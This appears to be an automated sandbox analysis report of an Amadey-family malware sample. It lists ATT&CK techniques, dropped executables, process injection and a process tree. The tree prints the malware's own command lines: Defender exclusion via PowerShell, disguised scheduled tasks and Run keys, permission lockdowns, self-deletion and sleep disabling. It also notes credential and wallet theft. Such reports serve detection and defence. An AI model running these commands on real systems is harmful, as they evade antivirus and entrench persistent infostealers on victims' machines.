amadey | 921a26add2c469235eefbcad3539c8b77f8d17e3bcb10e852d5feb16ab61561b

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	B4DE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	Player3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	3C6D.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	3F3C.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	477B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	477B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	AE36.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	3C6D.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\International\Geo\Nation	3F3C.exe

Executes dropped EXE 32 IoCs

pid	Process
4056	3C6D.exe
4024	3F3C.exe
3944	3C6D.exe
3092	3F3C.exe
632	477B.exe
1460	WerFault.exe
544	3F3C.exe
4140	A461.exe
2116	477B.exe
2100	3C6D.exe
3340	3F3C.exe
4188	AE36.exe
4896	477B.exe
3124	B4DE.exe
3316	Player3.exe
4616	ss31.exe
2004	XandETC.exe
3620	build2.exe
4304	Player3.exe
3472	build2.exe
1832	477B.exe
4332	build3.exe
2640	nbveek.exe
2236	nbveek.exe
4596	build3.exe
2704	build2.exe
3240	build2.exe
1036	build2.exe
4652	build2.exe
1800	build3.exe
3300	C082.exe
3852	updater.exe

Loads dropped DLL 6 IoCs

pid	Process
2704	build2.exe
2704	build2.exe
3240	build2.exe
3240	build2.exe
4652	build2.exe
4652	build2.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1876	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\152e7700-e200-4053-84c2-a28342a8f3e3\\3C6D.exe\" --AutoStart"	3C6D.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
68	api.2ip.ua
83	api.2ip.ua
43	api.2ip.ua
44	api.2ip.ua
53	api.2ip.ua
66	api.2ip.ua
67	api.2ip.ua

Suspicious use of SetThreadContext 9 IoCs

description	pid	Process	procid_target
PID 4056 set thread context of 3944	4056	3C6D.exe	94
PID 4024 set thread context of 3092	4024	3F3C.exe	95
PID 632 set thread context of 2116	632	477B.exe	102
PID 1460 set thread context of 2100	1460	WerFault.exe	103
PID 544 set thread context of 3340	544	3F3C.exe	104
PID 4896 set thread context of 1832	4896	477B.exe	112
PID 3472 set thread context of 2704	3472	build2.exe	125
PID 3620 set thread context of 3240	3620	build2.exe	124
PID 1036 set thread context of 4652	1036	build2.exe	137

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3196	sc.exe
4332	sc.exe
4252	sc.exe
3056	sc.exe
2480	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
424	3124	WerFault.exe	107

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	A461.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	A461.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	A461.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	setup.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	setup.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
3644	schtasks.exe
3952	schtasks.exe
4676	schtasks.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
3216	timeout.exe
4996	timeout.exe
3620	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2408	setup.exe
2408	setup.exe
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE
3116	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3116	Explorer.EXE

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
2408	setup.exe
4140	A461.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeDebugPrivilege	4360	powershell.exe
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeShutdownPrivilege	3116	Explorer.EXE
Token: SeCreatePagefilePrivilege	3116	Explorer.EXE
Token: SeDebugPrivilege	1248	powershell.exe
Token: SeShutdownPrivilege	2528	powercfg.exe
Token: SeCreatePagefilePrivilege	2528	powercfg.exe
Token: SeShutdownPrivilege	2408	powercfg.exe
Token: SeCreatePagefilePrivilege	2408	powercfg.exe
Token: SeShutdownPrivilege	3312	powercfg.exe
Token: SeCreatePagefilePrivilege	3312	powercfg.exe
Token: SeShutdownPrivilege	4224	powercfg.exe
Token: SeCreatePagefilePrivilege	4224	powercfg.exe
Token: SeIncreaseQuotaPrivilege	1248	powershell.exe
Token: SeSecurityPrivilege	1248	powershell.exe
Token: SeTakeOwnershipPrivilege	1248	powershell.exe
Token: SeLoadDriverPrivilege	1248	powershell.exe
Token: SeSystemProfilePrivilege	1248	powershell.exe
Token: SeSystemtimePrivilege	1248	powershell.exe
Token: SeProfSingleProcessPrivilege	1248	powershell.exe
Token: SeIncBasePriorityPrivilege	1248	powershell.exe
Token: SeCreatePagefilePrivilege	1248	powershell.exe
Token: SeBackupPrivilege	1248	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3116 wrote to memory of 4056	3116	Explorer.EXE	92
PID 3116 wrote to memory of 4056	3116	Explorer.EXE	92
PID 3116 wrote to memory of 4056	3116	Explorer.EXE	92
PID 3116 wrote to memory of 4024	3116	Explorer.EXE	93
PID 3116 wrote to memory of 4024	3116	Explorer.EXE	93
PID 3116 wrote to memory of 4024	3116	Explorer.EXE	93
PID 4056 wrote to memory of 3944	4056	3C6D.exe	94
PID 4056 wrote to memory of 3944	4056	3C6D.exe	94
PID 4056 wrote to memory of 3944	4056	3C6D.exe	94
PID 4056 wrote to memory of 3944	4056	3C6D.exe	94
PID 4056 wrote to memory of 3944	4056	3C6D.exe	94
PID 4056 wrote to memory of 3944	4056	3C6D.exe	94
PID 4056 wrote to memory of 3944	4056	3C6D.exe	94
PID 4056 wrote to memory of 3944	4056	3C6D.exe	94
PID 4056 wrote to memory of 3944	4056	3C6D.exe	94
PID 4056 wrote to memory of 3944	4056	3C6D.exe	94
PID 4024 wrote to memory of 3092	4024	3F3C.exe	95
PID 4024 wrote to memory of 3092	4024	3F3C.exe	95
PID 4024 wrote to memory of 3092	4024	3F3C.exe	95
PID 4024 wrote to memory of 3092	4024	3F3C.exe	95
PID 4024 wrote to memory of 3092	4024	3F3C.exe	95
PID 4024 wrote to memory of 3092	4024	3F3C.exe	95
PID 4024 wrote to memory of 3092	4024	3F3C.exe	95
PID 4024 wrote to memory of 3092	4024	3F3C.exe	95
PID 4024 wrote to memory of 3092	4024	3F3C.exe	95
PID 4024 wrote to memory of 3092	4024	3F3C.exe	95
PID 3116 wrote to memory of 632	3116	Explorer.EXE	96
PID 3116 wrote to memory of 632	3116	Explorer.EXE	96
PID 3116 wrote to memory of 632	3116	Explorer.EXE	96
PID 3944 wrote to memory of 1876	3944	3C6D.exe	97
PID 3944 wrote to memory of 1876	3944	3C6D.exe	97
PID 3944 wrote to memory of 1876	3944	3C6D.exe	97
PID 3092 wrote to memory of 544	3092	3F3C.exe	98
PID 3092 wrote to memory of 544	3092	3F3C.exe	98
PID 3092 wrote to memory of 544	3092	3F3C.exe	98
PID 3944 wrote to memory of 1460	3944	3C6D.exe	118
PID 3944 wrote to memory of 1460	3944	3C6D.exe	118
PID 3944 wrote to memory of 1460	3944	3C6D.exe	118
PID 3116 wrote to memory of 4140	3116	Explorer.EXE	101
PID 3116 wrote to memory of 4140	3116	Explorer.EXE	101
PID 3116 wrote to memory of 4140	3116	Explorer.EXE	101
PID 632 wrote to memory of 2116	632	477B.exe	102
PID 632 wrote to memory of 2116	632	477B.exe	102
PID 632 wrote to memory of 2116	632	477B.exe	102
PID 632 wrote to memory of 2116	632	477B.exe	102
PID 632 wrote to memory of 2116	632	477B.exe	102
PID 632 wrote to memory of 2116	632	477B.exe	102
PID 632 wrote to memory of 2116	632	477B.exe	102
PID 632 wrote to memory of 2116	632	477B.exe	102
PID 632 wrote to memory of 2116	632	477B.exe	102
PID 632 wrote to memory of 2116	632	477B.exe	102
PID 1460 wrote to memory of 2100	1460	WerFault.exe	103
PID 1460 wrote to memory of 2100	1460	WerFault.exe	103
PID 1460 wrote to memory of 2100	1460	WerFault.exe	103
PID 544 wrote to memory of 3340	544	3F3C.exe	104
PID 544 wrote to memory of 3340	544	3F3C.exe	104
PID 544 wrote to memory of 3340	544	3F3C.exe	104
PID 1460 wrote to memory of 2100	1460	WerFault.exe	103
PID 1460 wrote to memory of 2100	1460	WerFault.exe	103
PID 1460 wrote to memory of 2100	1460	WerFault.exe	103
PID 1460 wrote to memory of 2100	1460	WerFault.exe	103
PID 1460 wrote to memory of 2100	1460	WerFault.exe	103
PID 1460 wrote to memory of 2100	1460	WerFault.exe	103
PID 1460 wrote to memory of 2100	1460	WerFault.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3116
- C:\Users\Admin\AppData\Local\Temp\setup.exe
  "C:\Users\Admin\AppData\Local\Temp\setup.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2408
- C:\Users\Admin\AppData\Local\Temp\3C6D.exe
  C:\Users\Admin\AppData\Local\Temp\3C6D.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4056
- - C:\Users\Admin\AppData\Local\Temp\3C6D.exe
    C:\Users\Admin\AppData\Local\Temp\3C6D.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:3944
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\152e7700-e200-4053-84c2-a28342a8f3e3" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:1876
  - - C:\Users\Admin\AppData\Local\Temp\3C6D.exe
      "C:\Users\Admin\AppData\Local\Temp\3C6D.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:1460
    - - C:\Users\Admin\AppData\Local\Temp\3C6D.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3C6D.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:2100
      - C:\Users\Admin\AppData\Local\64e77088-9509-488f-921f-45f80010b048\build2.exe
        
        "C:\Users\Admin\AppData\Local\64e77088-9509-488f-921f-45f80010b048\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3620
        
        C:\Users\Admin\AppData\Local\64e77088-9509-488f-921f-45f80010b048\build2.exe
        
        "C:\Users\Admin\AppData\Local\64e77088-9509-488f-921f-45f80010b048\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:3240
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\64e77088-9509-488f-921f-45f80010b048\build2.exe" & exit
        8⤵
        
        PID:2684
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:4996
      - C:\Users\Admin\AppData\Local\64e77088-9509-488f-921f-45f80010b048\build3.exe
        
        "C:\Users\Admin\AppData\Local\64e77088-9509-488f-921f-45f80010b048\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:4332
- C:\Users\Admin\AppData\Local\Temp\3F3C.exe
  C:\Users\Admin\AppData\Local\Temp\3F3C.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4024
- - C:\Users\Admin\AppData\Local\Temp\3F3C.exe
    C:\Users\Admin\AppData\Local\Temp\3F3C.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3092
  - - C:\Users\Admin\AppData\Local\Temp\3F3C.exe
      "C:\Users\Admin\AppData\Local\Temp\3F3C.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:544
    - - C:\Users\Admin\AppData\Local\Temp\3F3C.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3F3C.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:3340
      - C:\Users\Admin\AppData\Local\e2ddfe75-a261-4647-b452-3f6a13125046\build2.exe
        
        "C:\Users\Admin\AppData\Local\e2ddfe75-a261-4647-b452-3f6a13125046\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3472
        
        C:\Users\Admin\AppData\Local\e2ddfe75-a261-4647-b452-3f6a13125046\build2.exe
        
        "C:\Users\Admin\AppData\Local\e2ddfe75-a261-4647-b452-3f6a13125046\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2704
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\e2ddfe75-a261-4647-b452-3f6a13125046\build2.exe" & exit
        8⤵
        
        PID:4384
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:3216
      - C:\Users\Admin\AppData\Local\e2ddfe75-a261-4647-b452-3f6a13125046\build3.exe
        
        "C:\Users\Admin\AppData\Local\e2ddfe75-a261-4647-b452-3f6a13125046\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:4596
- C:\Users\Admin\AppData\Local\Temp\477B.exe
  C:\Users\Admin\AppData\Local\Temp\477B.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:632
- - C:\Users\Admin\AppData\Local\Temp\477B.exe
    C:\Users\Admin\AppData\Local\Temp\477B.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:2116
  - - C:\Users\Admin\AppData\Local\Temp\477B.exe
      "C:\Users\Admin\AppData\Local\Temp\477B.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:4896
    - - C:\Users\Admin\AppData\Local\Temp\477B.exe
        
        "C:\Users\Admin\AppData\Local\Temp\477B.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1832
      - C:\Users\Admin\AppData\Local\97bbae3c-c18d-4978-88c0-0bc8c810af50\build2.exe
        
        "C:\Users\Admin\AppData\Local\97bbae3c-c18d-4978-88c0-0bc8c810af50\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1036
        
        C:\Users\Admin\AppData\Local\97bbae3c-c18d-4978-88c0-0bc8c810af50\build2.exe
        
        "C:\Users\Admin\AppData\Local\97bbae3c-c18d-4978-88c0-0bc8c810af50\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:4652
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\97bbae3c-c18d-4978-88c0-0bc8c810af50\build2.exe" & exit
        8⤵
        
        PID:3924
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:3620
      - C:\Users\Admin\AppData\Local\97bbae3c-c18d-4978-88c0-0bc8c810af50\build3.exe
        
        "C:\Users\Admin\AppData\Local\97bbae3c-c18d-4978-88c0-0bc8c810af50\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:1800
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4676
- C:\Users\Admin\AppData\Local\Temp\A461.exe
  C:\Users\Admin\AppData\Local\Temp\A461.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:4140
- C:\Users\Admin\AppData\Local\Temp\AE36.exe
  C:\Users\Admin\AppData\Local\Temp\AE36.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:4188
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Executes dropped EXE
    PID:3316
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:2640
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
        5⤵
        
        PID:996
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:2480
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:N"
        6⤵
        
        PID:3824
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:R" /E
        6⤵
        
        PID:392
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:4876
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:N"
        6⤵
        
        PID:3580
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\16de06bfb4" /P "Admin:R" /E
        6⤵
        
        PID:1324
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:3952
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:4616
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:2004
- C:\Users\Admin\AppData\Local\Temp\B4DE.exe
  C:\Users\Admin\AppData\Local\Temp\B4DE.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:3124
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:4304
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      Executes dropped EXE
      PID:2236
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3124 -s 1556
    3⤵
    - Program crash
    PID:424
- C:\Users\Admin\AppData\Local\Temp\C082.exe
  C:\Users\Admin\AppData\Local\Temp\C082.exe
  2⤵
  - Executes dropped EXE
  PID:3300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1248
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1112
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2528
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2408
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3312
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
